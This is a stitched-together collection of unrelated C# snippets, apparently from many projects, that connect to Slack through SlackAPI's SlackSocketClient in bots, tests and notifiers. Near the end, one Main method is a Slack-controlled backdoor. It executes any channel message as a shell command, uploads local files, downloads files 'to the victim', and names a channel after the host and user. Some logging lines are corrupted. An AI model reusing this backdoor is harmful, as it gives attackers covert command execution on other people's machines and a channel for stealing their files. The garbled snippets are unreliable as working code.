public static SlackSocketClient GetClient(string authToken) { var wait = new EventWaitHandle(false, EventResetMode.ManualReset); var client = new SlackSocketClient(authToken); client.Connect(x => { Console.WriteLine("RTM Start"); }, () => { Console.WriteLine("Connected"); wait.Set(); }); Policy .Handle<AssertFailedException>() .WaitAndRetry(15, x => TimeSpan.FromSeconds(0.2), (exception, span) => Console.WriteLine("Retrying in {0} seconds", span.TotalSeconds)) .Execute(() => { Assert.IsTrue(wait.WaitOne(), "Still waiting for things to happen..."); }); Policy .Handle<AssertFailedException>() .WaitAndRetry(15, x => TimeSpan.FromSeconds(0.2), (exception, span) => Console.WriteLine("Retrying in {0} seconds", span.TotalSeconds)) .Execute(() => { Assert.IsTrue(client.IsConnected, "Doh, still isn't connected"); }); return client; }
void AuthSignIn() { EventWaitHandle wait = new EventWaitHandle(false, EventResetMode.ManualReset); SlackSocketClient client = new SlackSocketClient(token); client.OnHello += () => { wait.Set(); }; client.Connect((l) => { if (!l.ok) return; BeginInvoke(new Action(() => { connected = new ConnectedInterface(client, l); connected.Dock = DockStyle.Fill; Controls.Add(connected); password.Visible = false; })); }); wait.WaitOne(); }
public void Start() { if (_slackClient != null) return; _log.Info("Starting..."); _slackClient = new SlackSocketClient(_apiKeyToken); _slackClient.OnHello += _slackClient_OnHello; _slackClient.Connect(_slackClient_OnConnected); _keepAliveTimer.Change(60000, 60000); }
public Task Connect() { var connectingTaskCompletionSource = new TaskCompletionSource <object>(); client.Connect(o => { }, () => { Console.WriteLine("Connected to {0}.", serverConfig.ServerId); channelNameLookup = client.Channels.Union(client.Groups).ToDictionary(x => x.name); connectionStatusTimer.Start(); connectingTaskCompletionSource.TrySetResult(null); }); return(connectingTaskCompletionSource.Task); }
public void Start() { if (_slackClient != null) { return; } _log.Info("Starting..."); _slackClient = new SlackSocketClient(_apiKeyToken); _slackClient.OnHello += _slackClient_OnHello; _slackClient.Connect(_slackClient_OnConnected); _keepAliveTimer.Change(60000, 60000); }
/// <summary> /// Simplified message to a user /// </summary> /// <param name="Message">String :"Message"</param> /// <param name="client">client</param> /// <param name="userchannelid">userchannelid</param> void MessageTo(string Message, SlackSocketClient client, DirectMessageConversation userchannelid, MessageType type) { Connected = null; client.Connect(Connected => { if (type != MessageType.Crash) { client.SendMessage(null, userchannelid.id, Message); } else { client.SendMessage(null, userchannelid.id, "Crash :" + Message); } }); }
/// <summary> /// Used for Scrum meeting bot connection and to conduct scrum meeting /// </summary> /// <param name="container"></param> public static void ScrumMain(IComponentContext container) { _logger = container.Resolve <ILogger>(); _stringConstant = container.Resolve <IStringConstantRepository>(); try { _environmentVariableRepository = container.Resolve <IEnvironmentVariableRepository>(); string botToken = _environmentVariableRepository.ScrumBotToken; SlackSocketClient client = new SlackSocketClient(botToken);//scrumBot _scrumBotRepository = container.Resolve <IScrumBotRepository>(); // Creating a Action<MessageReceived> for Slack Socket Client to get connected. MessageReceived messageReceive = new MessageReceived(); messageReceive.ok = true; Action <MessageReceived> showMethod = (MessageReceived messageReceived) => new MessageReceived(); //Connecting the bot of the given token client.Connect((connected) => { }); // Method will be called when someone sends message client.OnMessageReceived += (message) => { _logger.Info("Scrum bot got message :" + message); try { _logger.Info("Scrum bot got message, inside try"); string replyText = _scrumBotRepository.ProcessMessages(message.user, message.channel, message.text).Result; if (!String.IsNullOrEmpty(replyText)) { _logger.Info("Scrum bot got reply"); client.SendMessage(showMethod, message.channel, replyText); } } catch (Exception ex) { _logger.Error("\n" + _stringConstant.LoggerScrumBot + " " + ex.Message + "\n" + ex.StackTrace); client.CloseSocket(); throw ex; } }; //ChannelCreated channel = new ChannelCreated(); //client.HandleChannelCreated(channel); } catch (Exception ex) { _logger.Error("\n" + _stringConstant.LoggerScrumBot + " " + ex.Message + "\n" + ex.StackTrace); throw ex; } }
public Slack() { var token = ConfigurationManager.AppSettings["slack.auth.token"]; _connectionTimer = new System.Timers.Timer(1000 * 60); // 1 minute _connectionTimer.Elapsed += _connectionTimer_Elapsed; _connectionTimer.Start(); _client = new SlackSocketClient(token); _client.OnMessageReceived += _client_OnMessageReceived; _client.Connect(response => { LogManager.GetCurrentClassLogger().Info("Connected to Slack"); _botId = _client.Users.FirstOrDefault(x => x.name == "mooch")?.id; }); }
public void Start() { LoadConfig(); rand = new Random(); LoadFaces(); haarCascade = new CascadeClassifier(config.classifierFile); client = new SlackSocketClient(config.botToken); checkSocketTimer = new System.Timers.Timer(); checkSocketTimer.Elapsed += CheckSocketConnected; checkSocketTimer.Interval = 10000; // in miliseconds checkSocketTimer.Start(); try { ManualResetEventSlim clientReady = new ManualResetEventSlim(false); ManualResetEventSlim stopClient = new ManualResetEventSlim(false); client.Connect((connected) => { // This is called once the client has emitted the RTM start command clientReady.Set(); Console.WriteLine("Connected!"); }, () => { // This is called once the RTM client has connected to the end point }); clientReady.Wait(); client.OnMessageReceived += OnMessageReceived; client.BindCallback <NewFileSharedMessage>(OnNewFileShared); client.GetChannelList(GetChannelsCallback); var c = client.Channels.Find(x => x.name.Equals("general")); //we listen and post only on the general channel myChannels.Add(c); stopClient.Wait(); } catch (Exception e) { Console.WriteLine("Error: Unable to connect to slack."); } }
public void TestConnectBot() { EventWaitHandle wait = new EventWaitHandle(false, EventResetMode.ManualReset); SlackSocketClient client = new SlackSocketClient("IDon'tThinkBotsHaveRTMSupport:("); client.Connect((o) => { Debug.WriteLine("RTM Start"); }, () => { Debug.WriteLine("Connected"); wait.Set(); }); Assert.IsTrue(wait.WaitOne(10000), "Didn't return within a reasonable time."); Assert.IsTrue(client.IsConnected, "Invalid, doesn't think it's connected."); }
public void Connect(Action callback = null) { ManualResetEventSlim clientConnected = new ManualResetEventSlim(false); client.Connect(connected => { clientConnected.Set(); callback?.Invoke(); }, () => { } ); clientConnected.Wait(10000); if (!clientConnected.IsSet) { throw new Exception("Waited 10 seconds and failed to connect to Slack"); } }
public void TestConnectPostAndDelete() { EventWaitHandle wait = new EventWaitHandle(false, EventResetMode.ManualReset); SlackSocketClient client = new SlackSocketClient(token); client.Connect((o) => { Debug.WriteLine("RTM Start"); }, () => { Debug.WriteLine("Connected"); wait.Set(); }); Assert.IsTrue(wait.WaitOne(10000), "Didn't return within a reasonable time."); Thread.Sleep(500); Assert.IsTrue(client.IsConnected, "Invalid, doesn't think it's connected."); wait = new EventWaitHandle(false, EventResetMode.ManualReset); DateTime ts = DateTime.MinValue; SlackAPI.WebSocketMessages.MessageReceived a = null; client.SendMessage((resp) => { a = resp; wait.Set(); }, testChannel, testText); Assert.IsTrue(wait.WaitOne(1000), "Took too long for Slack to acknowledge message."); ts = a.ts; Assert.AreEqual(a.text, testText, "Got invalid returned text, something's not right here..."); DeletedResponse r = null; wait = new EventWaitHandle(false, EventResetMode.ManualReset); client.DeleteMessage((resp) => { r = resp; wait.Set(); }, testChannel, ts); Assert.IsTrue(wait.WaitOne(1000), "Took too long for Slack to acknowledge delete."); Assert.IsTrue(r.ok, "Message not deleted!"); Assert.AreEqual(r.channel, testChannel, "Got invalid channel? Something's not right here..."); Assert.AreEqual(r.ts, ts, "Got invalid time stamp? Something's not right here..."); }
public SlackSocketClient getClient() { ManualResetEventSlim clientReady = new ManualResetEventSlim(false); SlackSocketClient client = new SlackSocketClient(_Token); client.Connect((connected) => { // This is called once the client has emitted the RTM start command clientReady.Set(); }, () => { // This is called once the RTM client has connected to the end point }); client.OnMessageReceived += (message) => { // Handle each message as you receive them _MessageReceive.Add(message.text); }; clientReady.Wait(); return(client); }
private Task <LoginResponse> ConnectClientAsync() { var tskSource = new TaskCompletionSource <LoginResponse>(TaskCreationOptions.RunContinuationsAsynchronously); IsConnected = false; Core.Log.LibDebug("Starting connection..."); _client.Connect(connected => { // This is called once the client has emitted the RTM start command Core.Log.LibDebug("RTM started."); IsConnected = true; tskSource.TrySetResult(connected); }, () => { // This is called once the RTM client has connected to the end point Core.Log.LibDebug("Socket connected, waiting for RTM start."); }); return(tskSource.Task); }
internal List <AwsDotnetCsharp.Models.Channel> GetChannels(List <string> channelIds) { var token = Environment.GetEnvironmentVariable("SLACK_ACCESS_TOKEN"); if (token == null) { throw new Exception("Error getting slack token from ssm"); } ManualResetEventSlim clientReady = new ManualResetEventSlim(false); SlackSocketClient client = new SlackSocketClient(token); client.Connect((connected) => { // This is called once the client has emitted the RTM start command clientReady.Set(); }, () => { // This is called once the RTM client has connected to the end point }); // client.OnMessageReceived += (message) => // { // // Handle each message as you receive them // }; clientReady.Wait(); client.GetChannelList((ulr) => { Console.WriteLine("got channels"); }); var channelList = new List <AwsDotnetCsharp.Models.Channel>(); foreach (var u in channelIds) { var slackChannels = client.Channels.Find(x => x.id.Equals(u)); channelList.Add(new Models.Channel { id = slackChannels.id, name = slackChannels.name }); } // Release the socket. client.CloseSocket(); return(channelList); }
private SlackSocketClient CreateClient(string authToken, IWebProxy proxySettings = null, bool maintainPresenceChanges = false, Action <SlackSocketClient, PresenceChange> presenceChanged = null) { SlackSocketClient client; LoginResponse loginResponse = null; using (var syncClient = new InSync($"{nameof(SlackClient.Connect)} - Connected callback")) using (var syncClientSocket = new InSync($"{nameof(SlackClient.Connect)} - SocketConnected callback")) using (var syncClientSocketHello = new InSync($"{nameof(SlackClient.Connect)} - SocketConnected hello callback")) { client = new SlackSocketClient(authToken, proxySettings, maintainPresenceChanges); void OnPresenceChanged(PresenceChange x) { presenceChanged?.Invoke(client, x); } client.OnPresenceChanged += OnPresenceChanged; client.OnHello += () => syncClientSocketHello.Proceed(); client.Connect(x => { loginResponse = x; Console.WriteLine($"Connected {x.ok}"); syncClient.Proceed(); if (!x.ok) { // If connect fails, socket connect callback is not called syncClientSocket.Proceed(); syncClientSocketHello.Proceed(); } }, () => { Console.WriteLine("Socket Connected"); syncClientSocket.Proceed(); }); } loginResponse.AssertOk(); return(client); }
public void Start() { ManualResetEventSlim clientReady = new ManualResetEventSlim(false); Console.WriteLine("Communing with Slack Gods."); client.Connect((connected) => { // This is called once the client has emitted the RTM start command Console.WriteLine("They are ready to receive me."); clientReady.Set(); //MakeDMsEmptyStrings(); }, () => { // This is called once the RTM client has connected to the end point Console.WriteLine("The Gods have heard my call."); }); client.OnMessageReceived += OnMessageReceived; clientReady.Wait(); Thread.Sleep(-1); }
private SlackSocketClient GetClient(string authToken) { SlackSocketClient client; using (var syncClient = new InSync($"{nameof(SlackClient.Connect)} - Connected callback")) using (var syncClientSocket = new InSync($"{nameof(SlackClient.Connect)} - SocketConnected callback")) { client = new SlackSocketClient(authToken); client.Connect(x => { Console.WriteLine("Connected"); syncClient.Proceed(); }, () => { Console.WriteLine("Socket Connected"); syncClientSocket.Proceed(); }); } return(client); }
/// <summary> /// Start streaming slack /// </summary> public void StreamSlack() { try { var token = ConfigurationManager.Instance.Token; ManualResetEventSlim = new ManualResetEventSlim(false); SlackSocketClient = new SlackSocketClient(token); // Test connection //TestConnection(SlackSocketClient); // Connect SlackSocketClient.Connect((loginResponse) => { // This is called once the client has emitted the RTM start command ManualResetEventSlim.Set(); }, () => { // This is called once the RTM client has connected to the end point OnConnected(null); }); // OnMessageReceived SlackSocketClient.OnMessageReceived += (newMessage) => { // Handle each message as you receive them OnMessageReceived(newMessage); }; //SlackSocketClient.GetUserList((u) => //{ // Console.WriteLine(u); //}); // Wait ManualResetEventSlim.Wait(); } catch (Exception exception) { Console.WriteLine(exception); } }
/// <summary> /// Sends out a message to the servercrashbot channel. /// </summary> /// <param name="Message"> The message that is going to be sent</param> /// <param name="client"> The SlackSocketClient that is used to connect</param> /// <param name="Channelname">Name of the channel you want to send it to</param> void SendToLogChat(string Message, SlackSocketClient client, MessageType type) { Connected = null; client.Connect(Connected => { var c = client.Channels.Find(x => x.name.Equals(DefaultChannel)); switch (type) { case MessageType.Crash: client.SendMessage(null, c.id, "Crash : " + Message); for (int i = 0; i < userbase.Length; i++) { var user = client.Users.Find(x => x.name.Equals(userbase[i])); // everyone is the userbase if (user != null) { var dmchannel = client.DirectMessages.Find(x => x.user.Equals(user.id)); if (user != null && dmchannel != null) { MessageTo(Message, client, dmchannel, type); } } } break; case MessageType.Error: client.SendMessage(null, c.id, "Error : " + Message); break; case MessageType.Info: client.SendMessage(null, c.id, "Info : " + Message); break; case MessageType.Warning: client.SendMessage(null, c.id, "Warning : " + Message); break; } }); }
public static void RenderToFile(Func <string, Task <string> > render) { var clientReady = new ManualResetEventSlim(false); var client = new SlackSocketClient(token); client.Connect ((connected) => clientReady.Set() , () => { }); client.OnMessageReceived += async(message) => { var mentioned = SlackMessage.FindMentionedUsers(message.text); if (!mentioned.Contains(client.MySelf.id) || message.text.Contains("uploaded")) { return; } var eq = Regex.Replace(message.text, "^<@\\S+>", ""); var image = await render(eq); client.UploadFile(r => { }, System.IO.File.ReadAllBytes(image), image, new[] { message.channel }); }; clientReady.Wait(); }
private SlackSocketClient GetClient(string authToken, Tuple <string, string>[] loginParameters = null) { SlackSocketClient client; using (var syncClient = new InSync($"{nameof(SlackClient.Connect)} - Connected callback")) using (var syncClientSocket = new InSync($"{nameof(SlackClient.Connect)} - SocketConnected callback")) { client = new SlackSocketClient(authToken, loginParameters); client.Connect(x => { Console.WriteLine("Connected"); syncClient.Proceed(); }, () => { Console.WriteLine("Socket Connected"); syncClientSocket.Proceed(); }); } Assert.True(client.IsConnected, "Doh, still isn't connected"); return(client); }
static void Main(string[] args) { // Legacy token is required for websocket client // https://api.slack.com/custom-integrations/legacy-tokens string accessTokenLegacy = "[Your Legacy Token]"; _socketClient = new SlackSocketClient(accessTokenLegacy); _socketClient.OnMessageReceived += _socketClient_OnMessageReceived; ManualResetEventSlim clientReady = new ManualResetEventSlim(false); _socketClient.Connect((connected) => { Console.WriteLine("Connected."); clientReady.Set(); }); clientReady.Wait(); // wait for connection Console.WriteLine("Type some message. Enter to exit."); while (true) { string text = Console.ReadLine(); if (text.Trim() == "") { break; } string channelName = "bot"; string name = "Socket Client"; _socketClient.PostMessage(new Action <PostMessageResponse>(p => { Console.WriteLine(p.message.text); }), channelName, text, name); } }
public SlackClientService(string authtoken, string socketauthtoken) { ManualResetEventSlim clientReady = new ManualResetEventSlim(false); SlackClient client = new SlackClient(authtoken); client.Connect((connected) => { if (!connected.ok) { Console.WriteLine(connected.error); } else { Console.WriteLine("Connected Client to Slack"); } clientReady.Set(); }, () => {}); clientReady.Wait(); this._client = client; SlackSocketClient socketclient = new SlackSocketClient(socketauthtoken); socketclient.Connect((connected) => { // This is called once the client has emitted the RTM start command if (!connected.ok) { Console.WriteLine(connected.error); } clientReady.Set(); }, () => { Console.WriteLine("Connected SocketClient to Slack"); }); clientReady.Wait(); this._socketclient = socketclient; }
/// <summary> /// A list of initialized commands. /// </summary> /// <summary> /// Initiates a connection between the bot and Slack server. /// </summary> public static void Connect() { Client = new SlackSocketClient(BotAccessToken); Client.OnMessageReceived += OnMessageReceived; Client.Connect(ClientConnected); }
/// <summary> /// Performs the initial Slack integration. /// </summary> public void StartIntegration() { client = new SlackSocketClient (Token); client.Connect ((loginResponse) => { Connected.Invoke(this, null); client.OnMessageReceived += (obj) => { SlackMessageEventArgs e = new SlackMessageEventArgs { Text = obj.text, Member = new SlackMember(GetUserByName(obj.user)) }; e.Channel = GetChannelByName(obj.channel) == null ? new SlackChannel(e.Member.Name, obj.channel) : new SlackChannel(GetChannelByName(obj.channel)); if (e.Text.Contains($"<@{client.MySelf.id}>")) MentionReceived?.Invoke(this, e); else MessageReceived?.Invoke(this, e); }; }, () => { //socket connected }); }
public void Connect() { SlackBot.OnMessageReceived += HandleMessage; SlackBot.Connect((connected) => { }, () => { }); }
public async Task Connect() { Console.WriteLine("Initializing Client"); string token = Environment.GetEnvironmentVariable("WIKI_BOT_USER_OATH_TOKEN"); if (string.IsNullOrWhiteSpace(token)) { throw new ArgumentNullException(); } _client = new SlackSocketClient(token); MessageProcessor processor = new MessageProcessor(_gameReaderWriter); Console.WriteLine("RTM Client Connecting..."); ManualResetEventSlim clientReady = new ManualResetEventSlim(false); _gameReaderWriter.TestDatabaseConnection(); _client.Connect((connected) => { // This is called once the client has emitted the RTM start command clientReady.Set(); }, () => { // This is called once the RTM client has connected to the end point }); _client.OnMessageReceived += async(message) => { // Ignore Bots if (message.user != null) { // Overwrite username with poster's real name User poster = new User(); _client.UserLookup.TryGetValue(message.user, out poster); Console.WriteLine(poster.real_name); message.username = poster.real_name; var res = await processor.ProcessMessage(message); if (res != null) { var chan = _client.Channels.Find(x => x.name.Equals("wiki-game-test-chan")); if (res.ThreadTs.HasValue) { var thread_ts = res.ThreadTs.Value.ToProperTimeStamp(); _client.PostMessage(x => Console.WriteLine(res), chan.id, res.MessageText, thread_ts: thread_ts); } else { _client.PostMessage(x => Console.WriteLine(res), chan.id, res.MessageText); } } } }; clientReady.Wait(); // Send heartbeat var c = _client.Channels.Find(x => x.name.Equals("wiki-game-test-chan")); _client.PostMessage(x => Console.WriteLine(x.error), c.id, "Hello! Enter in two wikipedia links to get started!\n" + "Afterwards, reply to that post in the formal \"Starting Page -> Click 1 -> Click 2 -> ... -> Ending Page"); // Generate Leadboard var leaderboardString = _leaderBoardGenerator.GenerateLeaderBoardString(); if (string.IsNullOrEmpty(leaderboardString) == false) { _client.PostMessage(x => Console.WriteLine(x.error), c.id, $"{leaderboardString}\nType \"wiki-bot: leaderboard\" to bring back the leader board at any time."); } while (true) { try { await _gameAutomation.RunAutomatedTasksAsync(); } catch (Exception e) { Console.WriteLine(e); } } ; }
private void PullSlackMessagesAndOutputToFile() { var messages = new List <JObject>(); if (System.IO.File.Exists("SlackChat.json")) { messages = JsonConvert.DeserializeObject <List <JObject> >(System.IO.File.ReadAllText("SlackChat.json")); if (messages == null) { messages = new List <JObject>(); } } // _slackClient = new SlackSocketClient("TODO"); _slackClient.Connect((connected) => { // This is called once the client has emitted the RTM start command Log(null, "Connected to Slack, requesting emojis"); _slackClient.APIRequestWithToken <EmojiListResponse>((resp) => { _slackEmojis = resp.emoji; lock (_messagesLock) { Log(null, "Generating Slack HTML"); System.IO.File.WriteAllText("SlackChat.htm", GenerateHtmlMessages(messages)); } }); }, () => { // This is called once the RTM client has connected to the end point }); _slackClient.OnMessageReceived += (messageObj) => { Log(null, "Received message from Slack"); var messageRaw = JsonConvert.DeserializeObject <JObject>(JsonConvert.SerializeObject(messageObj)); var message = JsonConvert.DeserializeObject <NewMessage>(JsonConvert.SerializeObject(messageRaw)); var fileShareMessage = JsonConvert.DeserializeObject <FileShareMessage>(JsonConvert.SerializeObject(messageRaw)); if (message.channel == "CPY2WM43U") { Log(null, "Message was in correct channel"); Action complete = () => { lock (_messagesLock) { messages.Add(messageRaw); Log(null, "Generating Slack HTML"); System.IO.File.WriteAllText("SlackChat.json", JsonConvert.SerializeObject(messages)); System.IO.File.WriteAllText("SlackChat.htm", GenerateHtmlMessages(messages)); } }; if (message.subtype == "file_share") { Log(null, "Slack message contained file"); if (fileShareMessage.file.mimetype.Contains("image")) { Log(null, "Sharing Slack image file"); _slackClient.APIRequestWithToken <FilesSharedPublicURLResponse>((resp) => { Task.Run(async() => { // Wait for Slack to make the file public. await Task.Delay(1500); fileShareMessage.file = resp.file; complete(); }); }, new Tuple <string, string>("file", fileShareMessage.file.id)); } else { complete(); } } else { complete(); } } }; }
static void Main(string[] args) { string slack_token = "xoxb-TokenHere"; //CHANGE THIS string oauth_token = "xoxp-TokenHere"; //CHANGE THIS string targetID = ""; //This is to only accept messages sent through the created channel. Otherwise, any message received by the bot is to be executed. ManualResetEventSlim clientReady = new ManualResetEventSlim(false); SlackSocketClient client = new SlackSocketClient(slack_token); SlackSocketClient oauth_client = new SlackSocketClient(oauth_token); client.Connect((connected) => { // This is called once the client has emitted the RTM start command clientReady.Set(); }, () => { // This is called once the RTM client has connected to the end point }); client.OnMessageReceived += (message) => { // Handle each message as you receive them if (message.bot_id == null && targetID == message.channel) //Only execute messages sent by users { switch (message.text.ToLower().Split(' ')[0]) { case "exit": //Terminate the shell client.PostMessage(null, message.channel.ToString(), "Channel Terminated!"); Thread.Sleep(20); Environment.Exit(1); break; case "upload": //Upload local files to Slack channel string[] ch = new string[1]; ch[0] = message.channel.ToString(); try { string path = message.text.ToLower().Split(new[] { ' ' }, 2)[1]; client.UploadFile(null, System.IO.File.ReadAllBytes(path), System.IO.Path.GetFileName(path), ch); } catch (Exception e) { client.PostMessage(null, message.channel.ToString(), e.Message); } break; case "download": //Download files to the victim .. download [URL] [NameOfFile/Path] string @remoteUri = message.text.Split(new[] { ' ' }, 3)[1]; string @fileName = message.text.Split(new[] { ' ' }, 3)[2]; using (var down = new System.Net.WebClient()) { try { remoteUri = remoteUri.Replace(">", ""); remoteUri = remoteUri.Replace("<", ""); down.DownloadFile(@remoteUri, @fileName); client.PostMessage(null, message.channel.ToString(), "Downloaded successfully."); } catch (Exception e) { client.PostMessage(null, message.channel.ToString(), e.Message.ToString()); } break; } default: //Execute command if no keywords used string output = Execute(message.text); client.PostMessage(null, message.channel.ToString(), "```" + output + "```"); break; } } }; clientReady.Wait(); string chan_name = (System.Net.Dns.GetHostName() + "_" + Environment.UserName).ToLower(); //Grab Hostname and Username for the channel name client.GetChannelList(null); var general = client.Channels.Find(x => x.name.Equals("general")); oauth_client.ChannelsCreate((response) => { //Create channel and assigne the targetID if (response.ok) { client.PostMessage(null, general.id, "[+] Channel " + chan_name + " is created. Have fun :)"); targetID = response.channel.id.ToString(); } else if (response.error == "name_taken") { client.PostMessage(null, general.id, "[*] Channel " + chan_name + " is already exists."); targetID = client.Channels.Find(x => x.name.Equals(chan_name)).id; } else { client.PostMessage(null, general.id, "[-] Channel " + chan_name + " " + response.error.ToString()); } }, chan_name); while (true) { Thread.Sleep(1000); } }
public override TaskStatus Run() { Info("Sending slack messages..."); bool success = true; bool atLeastOneSucceed = false; var files = SelectFiles(); if (files.Length > 0) { ManualResetEventSlim clientReady = new ManualResetEventSlim(false); SlackSocketClient client = new SlackSocketClient(Token); client.Connect((connected) => { // This is called once the client has emitted the RTM start command clientReady.Set(); }, () => { // This is called once the RTM client has connected to the end point }); client.OnMessageReceived += (message) => { // Handle each message as you receive them }; clientReady.Wait(); client.GetUserList((ulr) => { Info("Got users."); }); foreach (FileInf file in files) { try { var xdoc = XDocument.Load(file.Path); foreach (XElement xMessage in xdoc.XPathSelectElements("Messages/Message")) { var username = xMessage.Element("User").Value; var text = xMessage.Element("Text").Value; var user = client.Users.Find(x => x.name.Equals(username)); var dmchannel = client.DirectMessages.Find(x => x.user.Equals(user.id)); client.PostMessage((mr) => Info("Message '" + text + "' sent to " + dmchannel.id + "."), dmchannel.id, text); if (!atLeastOneSucceed) { atLeastOneSucceed = true; } } } catch (ThreadAbortException) { throw; } catch (Exception e) { ErrorFormat("An error occured while sending the messages of the file {0}.", e, file.Path); success = false; } } } var tstatus = Status.Success; if (!success && atLeastOneSucceed) { tstatus = Status.Warning; } else if (!success) { tstatus = Status.Error; } Info("Task finished."); return(new TaskStatus(tstatus)); }
/// <summary> /// Used for Scrum meeting bot connection and to conduct scrum meeting. - JJ /// </summary> public void Scrum() { SlackSocketClient client = new SlackSocketClient(_environmentVariableRepository.ScrumBotToken);//scrumBot // Creating a Action<MessageReceived> for Slack Socket Client to get connected. MessageReceived messageReceive = new MessageReceived(); messageReceive.ok = true; Action <MessageReceived> showMethod = (MessageReceived messageReceived) => new MessageReceived(); //Connecting the bot of the given token client.Connect((connected) => { _scrumBotId = connected.self.id; }); // Method will be called when someone sends message client.OnMessageReceived += (message) => { _scrumlogger.Debug("Scrum bot got message :" + message); try { IScrumBotRepository scrumBotRepository = _component.Resolve <IScrumBotRepository>(); _scrumlogger.Debug("Scrum bot got message : " + message.text + " From user : "******" Of channel : " + message.channel); string replyText = scrumBotRepository.ProcessMessagesAsync(message.user, message.channel, message.text, _scrumBotId).Result; _scrumlogger.Debug("Scrum bot got reply : " + replyText + " To user : "******" Of channel : " + message.channel); if (!String.IsNullOrEmpty(replyText)) { _scrumlogger.Debug("Scrum bot sending reply"); client.SendMessage(showMethod, message.channel, replyText); _scrumlogger.Debug("Scrum bot sent reply"); } } catch (TaskCanceledException ex) { client.SendMessage(showMethod, message.channel, _stringConstant.ErrorMsg); _scrumlogger.Trace(ex.StackTrace); _scrumlogger.Error("\n" + _stringConstant.LoggerScrumBot + " OAuth Server Not Responding " + ex.InnerException); client.CloseSocket(); throw ex; } catch (HttpRequestException ex) { client.SendMessage(showMethod, message.channel, _stringConstant.ErrorMsg); _scrumlogger.Trace(ex.StackTrace); _scrumlogger.Error("\n" + _stringConstant.LoggerScrumBot + " OAuth Server Closed \nInner exception :\n" + ex.InnerException); client.CloseSocket(); throw ex; } catch (Exception ex) { client.SendMessage(showMethod, message.channel, _stringConstant.ErrorMsg); _scrumlogger.Trace(ex.StackTrace); _scrumlogger.Error("\n" + _stringConstant.LoggerScrumBot + " Generic exception \nMessage : \n" + ex.Message + "\nInner exception :\n" + ex.InnerException); client.CloseSocket(); throw ex; } }; }